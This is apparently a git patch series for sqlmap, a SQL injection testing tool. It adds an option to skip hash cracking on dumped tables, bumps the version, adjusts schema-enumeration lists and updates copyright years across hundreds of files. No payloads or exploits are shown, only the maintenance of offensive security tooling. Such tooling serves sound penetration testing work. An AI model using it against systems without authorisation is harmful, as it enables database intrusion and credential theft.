lib/parse/headers.py @@ -462,7 +462,7 @@ acc41465f146d2611fca5a84bd8896bc0ccd2b032b8938357aea3e5b173a5a10 plugins/dbms/v e6dfaab13d9f98ccffdc70dd46800ca2d61519731d10a267bc82f9fb82cd504d plugins/generic/connector.py ef413f95c1846d37750beae90ed3e3b3a1288cfa9595c9c6f7890252a4ee3166 plugins/generic/custom.py 3d118a7ddb1604a9f86826118cfbae4ab0b83f6e9bef9c6d1c7e77d3da6acf67 plugins/generic/databases.py -96924a13d7bf0ed8056dc70f10593e9253750a3d83e9a9c9656c3d1527eda344 plugins/generic/entries.py +9c9717da01918e92901cd659279259eea74131a1b7d357a8f231d022ec19ba56 plugins/generic/entries.py a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generic/enumeration.py 1c2e812096015eaef55be45d3a0bcd92b4db27eace47e36577aeff7b4246ad35 plugins/generic/filesystem.py 05f33c9ba3897e8d75c8cf4be90eb24b08e1d7cd0fc0f74913f052c83bc1a7c1 plugins/generic/fingerprint.py @@ -476,7 +476,7 @@ fff84edc86b7d22dc01148fb10bb43d51cb9638dff21436fb94555db2a664766 plugins/generi 5a473c60853f54f1a4b14d79b8237f659278fe8a6b42e935ed573bf22b6d5b2c README.md 78aafd53980096364f0c995c6283931bff505aed88fed1e7906fb06ee60e9c5b sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml -005b240c187586fbdb7bab247398cad881efec26b6d6a46229a635411f5f207e sqlmap.conf +6da15963699aa8916118f92c8838013bc02c84e4d7b9f33d971324c2ff348728 sqlmap.conf 3a18b78b1aaf7236a35169db20eb21ca7d7fb907cd38dd34650f1da81c010cd6 sqlmap.py adda508966db26c30b11390d6483c1fa25b092942a29730e739e1e50c403a21f tamper/0eunion.py d38fe5ab97b401810612eae049325aa990c55143504b25cc9924810917511dee tamper/apostrophemask.py diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index a70474119b5..13e152c4bc6 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -249,6 +249,7 @@ "beep": "boolean", "dependencies": "boolean", "disableColoring": "boolean", + "disableHashing": "boolean", "listTampers": "boolean", "noLogging": "boolean", "offline": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index 6693905e8ea..19883f38044 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.12.0" +VERSION = "1.8.12.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 104bc36e6dc..0627152af1b 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -763,6 +763,9 @@ def cmdLineParser(argv=None): miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true", help="Disable console output coloring") + miscellaneous.add_argument("--disable-hashing", dest="disableHashing", action="store_true", + help="Disable hash analysis on table dumps") + miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", help="Display list of available tamper scripts") diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 5bdd4bb74c5..101036a4de1 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -459,12 +459,15 @@ def dumpTable(self, foundData=None): kb.data.dumpedTable["__infos__"] = {"count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db)} - try: - attackDumpedTable() - except (IOError, OSError) as ex: - errMsg = "an error occurred while attacking " - errMsg += "table dump ('%s')" % getSafeExString(ex) - logger.critical(errMsg) + + if not conf.disableHashing: + try: + attackDumpedTable() + except (IOError, OSError) as ex: + errMsg = "an error occurred while attacking " + errMsg += "table dump ('%s')" % getSafeExString(ex) + logger.critical(errMsg) + conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException as ex: diff --git a/sqlmap.conf b/sqlmap.conf index b4efebcf99e..353ed1a504a 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -857,6 +857,10 @@ dependencies = False # Valid: True or False disableColoring = False +# Disable hash analysis on table dumps. +# Valid: True or False +disableHashing = False + # Display list of available tamper scripts. # Valid: True or False listTampers = False From b3b462ccf602d20e281c3def32129f2e5ab36fbd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 10 Dec 2024 22:18:21 +0100 Subject: [PATCH 127/853] Fixes #5828 --- data/txt/sha256sums.txt | 6 +++--- data/xml/queries.xml | 24 ++++++++++++------------ lib/core/settings.py | 2 +- plugins/generic/databases.py | 4 ++-- 4 files changed, 18 insertions(+), 18 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3addf9cd708..da732bb4146 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -83,7 +83,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -e16d35a818ad7c4a2cafbfd250c27408b2cb632aa00ba124666bef2b9e35d055 data/xml/queries.xml +95b7464b1a7b75e2b462d73c6cca455c13b301f50182a8b2cd6701cdcb80b43e data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS 68550be6eeb800bb54b1b47877412ecc88cf627fb8c88aaee029687152eb3fc1 doc/CHANGELOG.md 2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -55eea0809b374871132885b05c0d637e3ccd53d78656d58baca2cd26c75619e6 lib/core/settings.py +014d6e59c42b54394a2ae2ebf7d57987c6c1c5e6bf3cea4a707a5d0405f091f6 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -461,7 +461,7 @@ acc41465f146d2611fca5a84bd8896bc0ccd2b032b8938357aea3e5b173a5a10 plugins/dbms/v 7ac6006e0fc6da229c37fbce39a1406022e5fcc4cac5209814fa20818b8c031a plugins/dbms/virtuoso/takeover.py e6dfaab13d9f98ccffdc70dd46800ca2d61519731d10a267bc82f9fb82cd504d plugins/generic/connector.py ef413f95c1846d37750beae90ed3e3b3a1288cfa9595c9c6f7890252a4ee3166 plugins/generic/custom.py -3d118a7ddb1604a9f86826118cfbae4ab0b83f6e9bef9c6d1c7e77d3da6acf67 plugins/generic/databases.py +c9b9e2453544ba45232913089eef47059f90df2c8125e389eee5e1e940aa9c6a plugins/generic/databases.py 9c9717da01918e92901cd659279259eea74131a1b7d357a8f231d022ec19ba56 plugins/generic/entries.py a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generic/enumeration.py 1c2e812096015eaef55be45d3a0bcd92b4db27eace47e36577aeff7b4246ad35 plugins/generic/filesystem.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 28b5582fad2..37a4b0c2a6e 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1359,32 +1359,32 @@ - - + + - - + + - - + + - - + + - - + + - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 19883f38044..333e61f88a5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.12.1" +VERSION = "1.8.12.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index cd20f273a2b..c14be1db44f 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -83,7 +83,7 @@ def getCurrentDb(self): if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): kb.data.currentDb = VERTICA_DEFAULT_SCHEMA - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -108,7 +108,7 @@ def getDbs(self): warnMsg += "names will be fetched from 'mysql' database" logger.warning(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" From ed4fc46217a51fcd2e0a10520fb1f91597da4521 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 2 Jan 2025 00:51:30 +0100 Subject: [PATCH 128/853] Year bump --- LICENSE | 2 +- data/txt/common-columns.txt | 2 +- data/txt/common-files.txt | 2 +- data/txt/common-outputs.txt | 2 +- data/txt/common-tables.txt | 2 +- data/txt/keywords.txt | 2 +- data/txt/user-agents.txt | 2 +- extra/__init__.py | 2 +- extra/beep/__init__.py | 2 +- extra/beep/beep.py | 2 +- extra/cloak/__init__.py | 2 +- extra/cloak/cloak.py | 2 +- extra/dbgtool/__init__.py | 2 +- extra/dbgtool/dbgtool.py | 2 +- extra/shutils/blanks.sh | 2 +- extra/shutils/drei.sh | 2 +- extra/shutils/duplicates.py | 2 +- extra/shutils/junk.sh | 2 +- extra/shutils/modernize.sh | 2 +- extra/shutils/pycodestyle.sh | 2 +- extra/shutils/pydiatra.sh | 2 +- extra/shutils/pyflakes.sh | 2 +- extra/shutils/pylint.sh | 2 +- extra/shutils/pypi.sh | 4 ++-- extra/vulnserver/__init__.py | 2 +- extra/vulnserver/vulnserver.py | 2 +- lib/__init__.py | 2 +- lib/controller/__init__.py | 2 +- lib/controller/action.py | 2 +- lib/controller/checks.py | 2 +- lib/controller/controller.py | 2 +- lib/controller/handler.py | 2 +- lib/core/__init__.py | 2 +- lib/core/agent.py | 2 +- lib/core/bigarray.py | 2 +- lib/core/common.py | 2 +- lib/core/compat.py | 2 +- lib/core/convert.py | 2 +- lib/core/data.py | 2 +- lib/core/datatype.py | 2 +- lib/core/decorators.py | 2 +- lib/core/defaults.py | 2 +- lib/core/dicts.py | 2 +- lib/core/dump.py | 2 +- lib/core/enums.py | 2 +- lib/core/exception.py | 2 +- lib/core/gui.py | 4 ++-- lib/core/log.py | 2 +- lib/core/option.py | 2 +- lib/core/optiondict.py | 2 +- lib/core/patch.py | 2 +- lib/core/profiling.py | 2 +- lib/core/readlineng.py | 2 +- lib/core/replication.py | 2 +- lib/core/revision.py | 2 +- lib/core/session.py | 2 +- lib/core/settings.py | 4 ++-- lib/core/shell.py | 2 +- lib/core/subprocessng.py | 2 +- lib/core/target.py | 2 +- lib/core/testing.py | 2 +- lib/core/threads.py | 2 +- lib/core/unescaper.py | 2 +- lib/core/update.py | 2 +- lib/core/wordlist.py | 2 +- lib/parse/__init__.py | 2 +- lib/parse/banner.py | 2 +- lib/parse/cmdline.py | 2 +- lib/parse/configfile.py | 2 +- lib/parse/handler.py | 2 +- lib/parse/headers.py | 2 +- lib/parse/html.py | 2 +- lib/parse/payloads.py | 2 +- lib/parse/sitemap.py | 2 +- lib/request/__init__.py | 2 +- lib/request/basic.py | 2 +- lib/request/basicauthhandler.py | 2 +- lib/request/chunkedhandler.py | 2 +- lib/request/comparison.py | 2 +- lib/request/connect.py | 2 +- lib/request/direct.py | 2 +- lib/request/dns.py | 2 +- lib/request/httpshandler.py | 2 +- lib/request/inject.py | 2 +- lib/request/methodrequest.py | 2 +- lib/request/pkihandler.py | 2 +- lib/request/rangehandler.py | 2 +- lib/request/redirecthandler.py | 2 +- lib/request/templates.py | 2 +- lib/takeover/__init__.py | 2 +- lib/takeover/abstraction.py | 2 +- lib/takeover/icmpsh.py | 2 +- lib/takeover/metasploit.py | 2 +- lib/takeover/registry.py | 2 +- lib/takeover/udf.py | 2 +- lib/takeover/web.py | 2 +- lib/takeover/xp_cmdshell.py | 2 +- lib/techniques/__init__.py | 2 +- lib/techniques/blind/__init__.py | 2 +- lib/techniques/blind/inference.py | 2 +- lib/techniques/dns/__init__.py | 2 +- lib/techniques/dns/test.py | 2 +- lib/techniques/dns/use.py | 2 +- lib/techniques/error/__init__.py | 2 +- lib/techniques/error/use.py | 2 +- lib/techniques/union/__init__.py | 2 +- lib/techniques/union/test.py | 2 +- lib/techniques/union/use.py | 2 +- lib/utils/__init__.py | 2 +- lib/utils/api.py | 2 +- lib/utils/brute.py | 2 +- lib/utils/crawler.py | 2 +- lib/utils/deps.py | 2 +- lib/utils/getch.py | 2 +- lib/utils/har.py | 2 +- lib/utils/hash.py | 2 +- lib/utils/hashdb.py | 2 +- lib/utils/httpd.py | 2 +- lib/utils/pivotdumptable.py | 2 +- lib/utils/progress.py | 2 +- lib/utils/purge.py | 2 +- lib/utils/safe2bin.py | 2 +- lib/utils/search.py | 2 +- lib/utils/sqlalchemy.py | 2 +- lib/utils/timeout.py | 2 +- lib/utils/versioncheck.py | 2 +- lib/utils/xrange.py | 2 +- plugins/__init__.py | 2 +- plugins/dbms/__init__.py | 2 +- plugins/dbms/access/__init__.py | 2 +- plugins/dbms/access/connector.py | 2 +- plugins/dbms/access/enumeration.py | 2 +- plugins/dbms/access/filesystem.py | 2 +- plugins/dbms/access/fingerprint.py | 2 +- plugins/dbms/access/syntax.py | 2 +- plugins/dbms/access/takeover.py | 2 +- plugins/dbms/altibase/__init__.py | 2 +- plugins/dbms/altibase/connector.py | 2 +- plugins/dbms/altibase/enumeration.py | 2 +- plugins/dbms/altibase/filesystem.py | 2 +- plugins/dbms/altibase/fingerprint.py | 2 +- plugins/dbms/altibase/syntax.py | 2 +- plugins/dbms/altibase/takeover.py | 2 +- plugins/dbms/cache/__init__.py | 2 +- plugins/dbms/cache/connector.py | 2 +- plugins/dbms/cache/enumeration.py | 2 +- plugins/dbms/cache/filesystem.py | 2 +- plugins/dbms/cache/fingerprint.py | 2 +- plugins/dbms/cache/syntax.py | 2 +- plugins/dbms/cache/takeover.py | 2 +- plugins/dbms/clickhouse/__init__.py | 2 +- plugins/dbms/clickhouse/connector.py | 2 +- plugins/dbms/clickhouse/enumeration.py | 2 +- plugins/dbms/clickhouse/filesystem.py | 2 +- plugins/dbms/clickhouse/fingerprint.py | 2 +- plugins/dbms/clickhouse/syntax.py | 2 +- plugins/dbms/clickhouse/takeover.py | 2 +- plugins/dbms/cratedb/__init__.py | 2 +- plugins/dbms/cratedb/connector.py | 2 +- plugins/dbms/cratedb/enumeration.py | 2 +- plugins/dbms/cratedb/filesystem.py | 2 +- plugins/dbms/cratedb/fingerprint.py | 2 +- plugins/dbms/cratedb/syntax.py | 2 +- plugins/dbms/cratedb/takeover.py | 2 +- plugins/dbms/cubrid/__init__.py | 2 +- plugins/dbms/cubrid/connector.py | 2 +- plugins/dbms/cubrid/enumeration.py | 2 +- plugins/dbms/cubrid/filesystem.py | 2 +- plugins/dbms/cubrid/fingerprint.py | 2 +- plugins/dbms/cubrid/syntax.py | 2 +- plugins/dbms/cubrid/takeover.py | 2 +- plugins/dbms/db2/__init__.py | 2 +- plugins/dbms/db2/connector.py | 2 +- plugins/dbms/db2/enumeration.py | 2 +- plugins/dbms/db2/filesystem.py | 2 +- plugins/dbms/db2/fingerprint.py | 2 +- plugins/dbms/db2/syntax.py | 2 +- plugins/dbms/db2/takeover.py | 2 +- plugins/dbms/derby/__init__.py | 2 +- plugins/dbms/derby/connector.py | 2 +- plugins/dbms/derby/enumeration.py | 2 +- plugins/dbms/derby/filesystem.py | 2 +- plugins/dbms/derby/fingerprint.py | 2 +- plugins/dbms/derby/syntax.py | 2 +- plugins/dbms/derby/takeover.py | 2 +- plugins/dbms/extremedb/__init__.py | 2 +- plugins/dbms/extremedb/connector.py | 2 +- plugins/dbms/extremedb/enumeration.py | 2 +- plugins/dbms/extremedb/filesystem.py | 2 +- plugins/dbms/extremedb/fingerprint.py | 2 +- plugins/dbms/extremedb/syntax.py | 2 +- plugins/dbms/extremedb/takeover.py | 2 +- plugins/dbms/firebird/__init__.py | 2 +- plugins/dbms/firebird/connector.py | 2 +- plugins/dbms/firebird/enumeration.py | 2 +- plugins/dbms/firebird/filesystem.py | 2 +- plugins/dbms/firebird/fingerprint.py | 2 +- plugins/dbms/firebird/syntax.py | 2 +- plugins/dbms/firebird/takeover.py | 2 +- plugins/dbms/frontbase/__init__.py | 2 +- plugins/dbms/frontbase/connector.py | 2 +- plugins/dbms/frontbase/enumeration.py | 2 +- plugins/dbms/frontbase/filesystem.py | 2 +- plugins/dbms/frontbase/fingerprint.py | 2 +- plugins/dbms/frontbase/syntax.py | 2 +- plugins/dbms/frontbase/takeover.py | 2 +- plugins/dbms/h2/__init__.py | 2 +- plugins/dbms/h2/connector.py | 2 +- plugins/dbms/h2/enumeration.py | 2 +- plugins/dbms/h2/filesystem.py | 2 +- plugins/dbms/h2/fingerprint.py | 2 +- plugins/dbms/h2/syntax.py | 2 +- plugins/dbms/h2/takeover.py | 2 +- plugins/dbms/hsqldb/__init__.py | 2 +- plugins/dbms/hsqldb/connector.py | 2 +- plugins/dbms/hsqldb/enumeration.py | 2 +- plugins/dbms/hsqldb/filesystem.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- plugins/dbms/hsqldb/syntax.py | 2 +- plugins/dbms/hsqldb/takeover.py | 2 +- plugins/dbms/informix/__init__.py | 2 +- plugins/dbms/informix/connector.py | 2 +- plugins/dbms/informix/enumeration.py | 2 +- plugins/dbms/informix/filesystem.py | 2 +- plugins/dbms/informix/fingerprint.py | 2 +- plugins/dbms/informix/syntax.py | 2 +- plugins/dbms/informix/takeover.py | 2 +- plugins/dbms/maxdb/__init__.py | 2 +- plugins/dbms/maxdb/connector.py | 2 +- plugins/dbms/maxdb/enumeration.py | 2 +- plugins/dbms/maxdb/filesystem.py | 2 +- plugins/dbms/maxdb/fingerprint.py | 2 +- plugins/dbms/maxdb/syntax.py | 2 +- plugins/dbms/maxdb/takeover.py | 2 +- plugins/dbms/mckoi/__init__.py | 2 +- plugins/dbms/mckoi/connector.py | 2 +- plugins/dbms/mckoi/enumeration.py | 2 +- plugins/dbms/mckoi/filesystem.py | 2 +- plugins/dbms/mckoi/fingerprint.py | 2 +- plugins/dbms/mckoi/syntax.py | 2 +- plugins/dbms/mckoi/takeover.py | 2 +- plugins/dbms/mimersql/__init__.py | 2 +- plugins/dbms/mimersql/connector.py | 2 +- plugins/dbms/mimersql/enumeration.py | 2 +- plugins/dbms/mimersql/filesystem.py | 2 +- plugins/dbms/mimersql/fingerprint.py | 2 +- plugins/dbms/mimersql/syntax.py | 2 +- plugins/dbms/mimersql/takeover.py | 2 +- plugins/dbms/monetdb/__init__.py | 2 +- plugins/dbms/monetdb/connector.py | 2 +- plugins/dbms/monetdb/enumeration.py | 2 +- plugins/dbms/monetdb/filesystem.py | 2 +- plugins/dbms/monetdb/fingerprint.py | 2 +- plugins/dbms/monetdb/syntax.py | 2 +- plugins/dbms/monetdb/takeover.py | 2 +- plugins/dbms/mssqlserver/__init__.py | 2 +- plugins/dbms/mssqlserver/connector.py | 2 +- plugins/dbms/mssqlserver/enumeration.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 2 +- plugins/dbms/mssqlserver/syntax.py | 2 +- plugins/dbms/mssqlserver/takeover.py | 2 +- plugins/dbms/mysql/__init__.py | 2 +- plugins/dbms/mysql/connector.py | 2 +- plugins/dbms/mysql/enumeration.py | 2 +- plugins/dbms/mysql/filesystem.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- plugins/dbms/mysql/syntax.py | 2 +- plugins/dbms/mysql/takeover.py | 2 +- plugins/dbms/oracle/__init__.py | 2 +- plugins/dbms/oracle/connector.py | 2 +- plugins/dbms/oracle/enumeration.py | 2 +- plugins/dbms/oracle/filesystem.py | 2 +- plugins/dbms/oracle/fingerprint.py | 2 +- plugins/dbms/oracle/syntax.py | 2 +- plugins/dbms/oracle/takeover.py | 2 +- plugins/dbms/postgresql/__init__.py | 2 +- plugins/dbms/postgresql/connector.py | 2 +- plugins/dbms/postgresql/enumeration.py | 2 +- plugins/dbms/postgresql/filesystem.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 +- plugins/dbms/postgresql/syntax.py | 2 +- plugins/dbms/postgresql/takeover.py | 2 +- plugins/dbms/presto/__init__.py | 2 +- plugins/dbms/presto/connector.py | 2 +- plugins/dbms/presto/enumeration.py | 2 +- plugins/dbms/presto/filesystem.py | 2 +- plugins/dbms/presto/fingerprint.py | 2 +- plugins/dbms/presto/syntax.py | 2 +- plugins/dbms/presto/takeover.py | 2 +- plugins/dbms/raima/__init__.py | 2 +- plugins/dbms/raima/connector.py | 2 +- plugins/dbms/raima/enumeration.py | 2 +- plugins/dbms/raima/filesystem.py | 2 +- plugins/dbms/raima/fingerprint.py | 2 +- plugins/dbms/raima/syntax.py | 2 +- plugins/dbms/raima/takeover.py | 2 +- plugins/dbms/sqlite/__init__.py | 2 +- plugins/dbms/sqlite/connector.py | 2 +- plugins/dbms/sqlite/enumeration.py | 2 +- plugins/dbms/sqlite/filesystem.py | 2 +- plugins/dbms/sqlite/fingerprint.py | 2 +- plugins/dbms/sqlite/syntax.py | 2 +- plugins/dbms/sqlite/takeover.py | 2 +- plugins/dbms/sybase/__init__.py | 2 +- plugins/dbms/sybase/connector.py | 2 +- plugins/dbms/sybase/enumeration.py | 2 +- plugins/dbms/sybase/filesystem.py | 2 +- plugins/dbms/sybase/fingerprint.py | 2 +- plugins/dbms/sybase/syntax.py | 2 +- plugins/dbms/sybase/takeover.py | 2 +- plugins/dbms/vertica/__init__.py | 2 +- plugins/dbms/vertica/connector.py | 2 +- plugins/dbms/vertica/enumeration.py | 2 +- plugins/dbms/vertica/filesystem.py | 2 +- plugins/dbms/vertica/fingerprint.py | 2 +- plugins/dbms/vertica/syntax.py | 2 +- plugins/dbms/vertica/takeover.py | 2 +- plugins/dbms/virtuoso/__init__.py | 2 +- plugins/dbms/virtuoso/connector.py | 2 +- plugins/dbms/virtuoso/enumeration.py | 2 +- plugins/dbms/virtuoso/filesystem.py | 2 +- plugins/dbms/virtuoso/fingerprint.py | 2 +- plugins/dbms/virtuoso/syntax.py | 2 +- plugins/dbms/virtuoso/takeover.py | 2 +- plugins/generic/__init__.py | 2 +- plugins/generic/connector.py | 2 +- plugins/generic/custom.py | 2 +- plugins/generic/databases.py | 2 +- plugins/generic/entries.py | 2 +- plugins/generic/enumeration.py | 2 +- plugins/generic/filesystem.py | 2 +- plugins/generic/fingerprint.py | 2 +- plugins/generic/misc.py | 2 +- plugins/generic/search.py | 2 +- plugins/generic/syntax.py | 2 +- plugins/generic/takeover.py | 2 +- plugins/generic/users.py | 2 +- sqlmap.py | 2 +- sqlmapapi.py | 2 +- tamper/0eunion.py | 2 +- tamper/__init__.py | 2 +- tamper/apostrophemask.py | 2 +- tamper/apostrophenullencode.py | 2 +- tamper/appendnullbyte.py | 2 +- tamper/base64encode.py | 2 +- tamper/between.py | 2 +- tamper/binary.py | 2 +- tamper/bluecoat.py | 2 +- tamper/chardoubleencode.py | 2 +- tamper/charencode.py | 2 +- tamper/charunicodeencode.py | 2 +- tamper/charunicodeescape.py | 2 +- tamper/commalesslimit.py | 2 +- tamper/commalessmid.py | 2 +- tamper/commentbeforeparentheses.py | 2 +- tamper/concat2concatws.py | 2 +- tamper/decentities.py | 2 +- tamper/dunion.py | 2 +- tamper/equaltolike.py | 2 +- tamper/equaltorlike.py | 2 +- tamper/escapequotes.py | 2 +- tamper/greatest.py | 2 +- tamper/halfversionedmorekeywords.py | 2 +- tamper/hex2char.py | 2 +- tamper/hexentities.py | 2 +- tamper/htmlencode.py | 2 +- tamper/if2case.py | 2 +- tamper/ifnull2casewhenisnull.py | 2 +- tamper/ifnull2ifisnull.py | 2 +- tamper/informationschemacomment.py | 2 +- tamper/least.py | 2 +- tamper/lowercase.py | 2 +- tamper/luanginx.py | 2 +- tamper/misunion.py | 2 +- tamper/modsecurityversioned.py | 2 +- tamper/modsecurityzeroversioned.py | 2 +- tamper/multiplespaces.py | 2 +- tamper/ord2ascii.py | 2 +- tamper/overlongutf8.py | 2 +- tamper/overlongutf8more.py | 2 +- tamper/percentage.py | 2 +- tamper/plus2concat.py | 2 +- tamper/plus2fnconcat.py | 2 +- tamper/randomcase.py | 2 +- tamper/randomcomments.py | 2 +- tamper/schemasplit.py | 2 +- tamper/scientific.py | 2 +- tamper/sleep2getlock.py | 2 +- tamper/sp_password.py | 2 +- tamper/space2comment.py | 2 +- tamper/space2dash.py | 2 +- tamper/space2hash.py | 2 +- tamper/space2morecomment.py | 2 +- tamper/space2morehash.py | 2 +- tamper/space2mssqlblank.py | 2 +- tamper/space2mssqlhash.py | 2 +- tamper/space2mysqlblank.py | 2 +- tamper/space2mysqldash.py | 2 +- tamper/space2plus.py | 2 +- tamper/space2randomblank.py | 2 +- tamper/substring2leftright.py | 2 +- tamper/symboliclogical.py | 2 +- tamper/unionalltounion.py | 2 +- tamper/unmagicquotes.py | 2 +- tamper/uppercase.py | 2 +- tamper/varnish.py | 2 +- tamper/versionedkeywords.py | 2 +- tamper/versionedmorekeywords.py | 2 +- tamper/xforwardedfor.py | 2 +- 410 files changed, 413 insertions(+), 413 deletions(-) diff --git a/LICENSE b/LICENSE index 894e0ec623c..4973329375b 100644 --- a/LICENSE +++ b/LICENSE @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2024 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2025 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index a4cd79e75e6..e0ce21ab3cc 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission id diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index 52d3368a538..ce340161153 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # CTFs diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index 15651da4e44..744e06cad3f 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission [Banners] diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 8529ed3a21c..7eda013ceb3 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 